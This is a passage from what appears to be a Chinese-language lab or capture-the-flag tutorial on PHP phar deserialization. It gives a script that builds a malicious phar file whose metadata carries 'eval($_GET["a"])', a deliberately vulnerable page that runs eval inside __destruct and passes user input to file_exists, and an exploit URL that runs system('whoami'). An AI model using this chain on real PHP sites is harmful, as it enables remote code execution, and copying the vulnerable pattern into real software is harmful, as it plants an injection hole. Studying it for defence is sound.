}

@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>

<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>

分析:phar中manifest的值是对Testobj中$output=eval($_GET['a'])进行序列化后得到的字符串,反序列化必然会调用__destruct(),相当于eval(eval($_GET['a'])),执行了eval($_GET['a']),所以要传入两个参数,$filename处就可以传入phar伪协议参数,??filename=phar://test.phar&a=system('whoami');